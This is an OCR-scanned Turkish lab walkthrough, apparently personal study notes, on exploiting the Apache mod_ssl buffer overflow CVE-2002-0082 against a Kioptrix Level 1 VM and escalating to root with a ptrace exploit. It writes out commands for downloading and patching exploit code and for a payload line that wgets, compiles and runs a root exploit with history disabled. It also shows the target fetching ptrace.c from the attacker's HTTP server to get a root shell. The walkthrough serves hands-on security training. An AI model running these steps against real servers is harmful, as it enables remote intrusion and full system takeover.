Apache Remote Buffer Overflow Zafiyetini Somiirme ve Yetki Yiikseltme

(+) Birebir denenmistir ve basariyla uygulanmistir.

Gereksinimler
¢ Apache Remote Buffer Overflow and Local // Saldirgan VM
Privilege Escalation VM ( Ubuntu 20.04 LTS )
¢ Kioptrix - Level 1 // Hedef VM
Not:

VM’lerin nasil hazirlandig1 hakkinda bkz. Ubuntu Calisma Notlarim / 6. Zafiyetli VM Makina Hazirlama
Dokiimanlar / Apache Remote Buffer Overflow and Local Privilege Escalation VM ve Kioptrix VM
Hazirlama.docx

Tanim
¢ “Apache Mod_SSL Remote Buffer Overflow” zafiyeti

= Apache yazilimi ve
®  Apache’nin mod_ssl modiiliinde

yer alan giivenlik agiklig1 yoluyla apache web sunuculara uzaktan buffer overflow saldirisi
diizenleyebilme ve sunucuda keyfi komut calistirabilme agikligidir.

¢ Bu aciklik kamuoyuna “CVE-2002-0082” kaydi ile duyurulmustur.
Senaryo

e ]Ik olarak exploitation (764.c) ve post-exploitation (3.c) script’lerinde eski kaldiklarindan
bazi giincellemeler yapilacaktir.

¢ Ardindan saldirgan vim’de post-exploitation script’i (3.c) python simple http server ile
disaridan erisilebilir kilinacaktir.

¢ Ardindan saldirgan vim’de nmap kesif islemi ile hedef giivenlik aciklikli apache web
sunucuyu barindiran kioptrix vm’in ip’si ve web portu 6grenilecektir.

e Daha sonra exploitation script’i (764.c) ile hedef kioptrix vm’e uzaktan buffer overflow
saldiris1 diizenlenecektir ve hedef vm’in komut satir1 alinacaktir.

® Son olarak saldirgan vim’de barinan ve disaridan erisilebilir kilinmis python web sunucudaki
post-exploitation script’i (3.c) hedef kioptrix vim’e indirilecektir, hedef kioptrix vin’de post-
exploitation script’i (3.c) derlenecektir ve caligtirilarak hedef kioptrix vim’deki yetkimizi
root hakkina yiikseltecegiz.



Saldir1 Oncesi VM’lerde On Hazirhk
¢ “Kioptrix” VM On Hazirhik Adimlar1
» Network ayarlar s6yle uygulanmalidir.
Oracle Virtualbox -> Kioptrix Level 1 VM -> (Sag Tik) -> Settings

-> Network

-> Attached to : Bridge Adapter

-> Advanced

-> Pcnet-PCI II(Am79C970A) // Bu adaptor tiirii secilmezse

// saldirgan ubuntu 20.04 LTS
// VM’de nmap ile taramada

// kioptrix VM goriinmiiyor.

» Kioptrix VM ilk baglatilirken bir seferlik gelecek olan hardware tanimlama popup’lari su

sekilde gecilir.
-> Press any key to continue. ENTER
-> Hardware Added Do Nothing segilir.
-> Hardware Added Do Nothing (x2) segilir.
-> Hardware Added Do Nothing (x3) segilir.

> Boylece vm acilir ve sorunsuz ¢alisir.
e “Apache Remote Buffer Overflow and Local Privilege Escalation ( Ubuntu 20.04
LTS )” VM On Hazirlik Adimlari
» Network ayarlar s6yle uygulanmalidir.
Oracle Virtualbox -> Ubuntu 20.0 4 LTS VM -> (Sag Tik) -> Settings
-> Network
-> Attached to : Bridge Adapter
-> Advanced
-> Pcnet-PCI II(Am79C970A) // Bu adaptor tiirii secilmezse
// saldirgan ubuntu 20.04 LTS

// VM’de nmap ile taramada
// kioptrix VM goriinmiiyor.



> Exploit Script’i Edit’leme ve Derleme

Saldirgan VM’de diizenlenecek saldirida kullanilacak 764.c exploit’i (apache remote
buffer overflow exploit’i) biraz eski durumdadir ve bu nedenle giincelleme gerekecektir.

Ubuntu 20.04 LTS VM Terminal #1:

> sudo su

> wget https://www.exploit-db.com/raw/764

>mv 764 764.c

> gedit 764.c // Gedit’in acilmas biraz uzun siirecek.
i) Dosyanin basindaki #include <...> direktilerine ekstradan su kiitiiphaneler

satir1 eklenecek.

#include <openssl/rc4.h>
#include <openssl/md5.h>
ii) Dosyada
unsigned char *p, *end;
satir1 bulunacak ve basina agagidaki gibi const eklenecek.
const unsigned char *p, *end;
iii) Dosyada wget anahtar kelimesi aratilarak asagidaki satir bulunulacak.
#define COMMAND? "unset HISTFILE; cd /tmp; wget
http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm
ptrace-kmod.c; ./p; \n"
Bu satirdaki URL adresi
http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c
yerine
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
seklinde giincellenecek.
Not:
Ilk link kirik oldugundan exploit ¢alisirken ikinci calistirlacak komut
olarak calistirmay1 denediginde uzun siire beklemede kaliyor. ikinci
link yapinca link kirik olmadigindan direk shell geliyor, fakat ikinci
link de esasinda calismiyor. Calisacak olsaydi otomatikmen linkten

gelen root yetkisine yiikseltme exploit’i calisacakti. Fakat ¢alismiyor.
Eger gelecekte bu ikinci linkte kirik olursa exploit’in sorunsuz



calisabilmesi icin ikinci link olarak saldirinin ilerleyen agamalarinda
yapacagimiz 6rnegin python3 ile olusturulan http server’in ip adresi
konulabilir.

iv) Dosya bu yeni haliyle derlenecek.
Ubuntu 20.04 LTS VM Terminal:

> gcc -0 764 764.c -lcrypto
> /764 // Help Meniisiinii Basar.

Gkt

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *

*by SPABAM  with code of Spabam - LSD-pl - SolarEclipse - CORE *

* #hackarena irc.brasnet.org *

* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitrOx #coder #root #endiabradOs #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

: Usage: ./764 target box [port] [-c N]

target - supported box eg: 0x00

box - hostname or IP address

port - port for ssl connection

-c open N connections. (use range 40-50 if u dont know)

Supported OffSet:
(..

Bu adim ile exploit script’imiz hazirdir.

» Post-Exploit Script’i Edit’leme
Saldirgan vim’de post exploitation (yetki yiikseltme) script’i de

& indirilir,
€ Giincellenir ve
€ python3 simple http server ile disaridan erisilebilir kilinir.

Ubuntu 20.04 LTS VM Terminal #2:
> cd Desktop/

> mkdir python3_sunucu_kok_dizin
> cd python3_sunucu_kok_dizin

> wget https://www.exploit-db.com/raw/3 // Local Privilege
>1s // Escalation Exploit
Cikti:



> mv 3 ptrace.c
> gedit ptrace.c

Exploit’teki su satir
#include <linux/user.h>
su sekilde giincellenmeli:
#include <sys/user.h>

> python3 -m http.server 9090 // Post-exploit script digsaridan
// erisilebilir / indirilebilir yapilmisg olur.

Saldir1 Adimlar:
v Kesif
Ag taramas! yaparak hedef apache web sunucunun (kioptrix vm’in) web portu 6grenilir.

Ubuntu 20.04 LTS VM Terminal #1:

>nmap [P_BLOGU // ip a komutu ile bulunulan agin ip

// blogu alinabilir.
Cikti:

Nmap scan report for IP_ADDRESS_OF_KOPTRIX_VM
Host is up (0.0015s latency).

Scanned at 2024-07-21 17:16:05 +03 for 24s

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

443/tcp open https

32768/tcp open filenet-tms

MAC Address: 08:00:27:2D:2A:9F (Oracle VirtualBox virtual NIC)
Final times for host: srtt: 1470 rttvar: 1264 to: 100000

v' Exploitation
Hedef apache web sunucuya (kioptrix vm’e) buffer overflow saldiris1 diizenlenir.
Ubuntu 20.04 LTS VM Terminal #1:

> ./764 0x6b IP_ADDRESS_OF_KOPTRIX_VM 443 -c 40



Cikti:

bash-2.05%
Not:
Hedef Kioptrix VM apache versiyon 1.3.20 kullandigindan hedefe yapilacak
buffer overflow saldirisi icin 0x6b kullanilmistir. Hangi apache siirtimiine
hangi hexadecimal tampon tasirma kodu kullanilacak bilgisi exploit’in help

meniisiindeki Supported Offset secenegi altindan goriilebilir.

Igeri s1zilmis olunur. Yetkimizi 6grenelim.

Ubuntu 20.04 LTS VM Terminal:
bash-2.05$ whoami
apache
¥" Post-Exploitation
Simdi yetkimizi root’a yiikseltelim.
Ubuntu 20.04 LTS VM Terminal #1: // Kioptrix VM’den Alinan
// Komut Satir1 Oturumunda

// Post-Exploitation yapilir.

bash-2.05$ wget http://Ubuntu_20_04_LTS_VM_IP_Address:9090/ptrace.c
bash-2.05% Is

Cikti:
ptrace.c

bash-2.05$ gcc ptrace.c -o ptrace
bash-2.05$ ./ptrace

Cikt:

[+] Attached to 6192

[+] Waiting for signal

[+] Signal caught

[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami

root



Kaynaklar:

https://www.geeksforgeeks.org/how-to-install-kioptrix-level-1-on-virtualbox/
https://forum.qubes-os.org/t/root-move-from-kioptrix-kernel-panic/5799/2
https://www.reddit.com/r/vulnhub/comments/e7r039/
kali_not_able_to_find_my_vulnhub_vms_kioptrix_lvl/
https://jhalon.github.io/vulnhub-kioptrix1/
https://rastating.github.io/kioptrix-level-1-ctf-walkthrough/
https://realpython.com/python-http-server/
https://github.com/ghickman/classify/issues/16
https://www.ubuntuupdates.org/package/core/bionic/main/base/libssl1.0-dev
https://nvd.nist.gov/vuln/detail/ CVE-2002-0082
https://www.cve.org/CVERecord?id=CVE-2002-0082



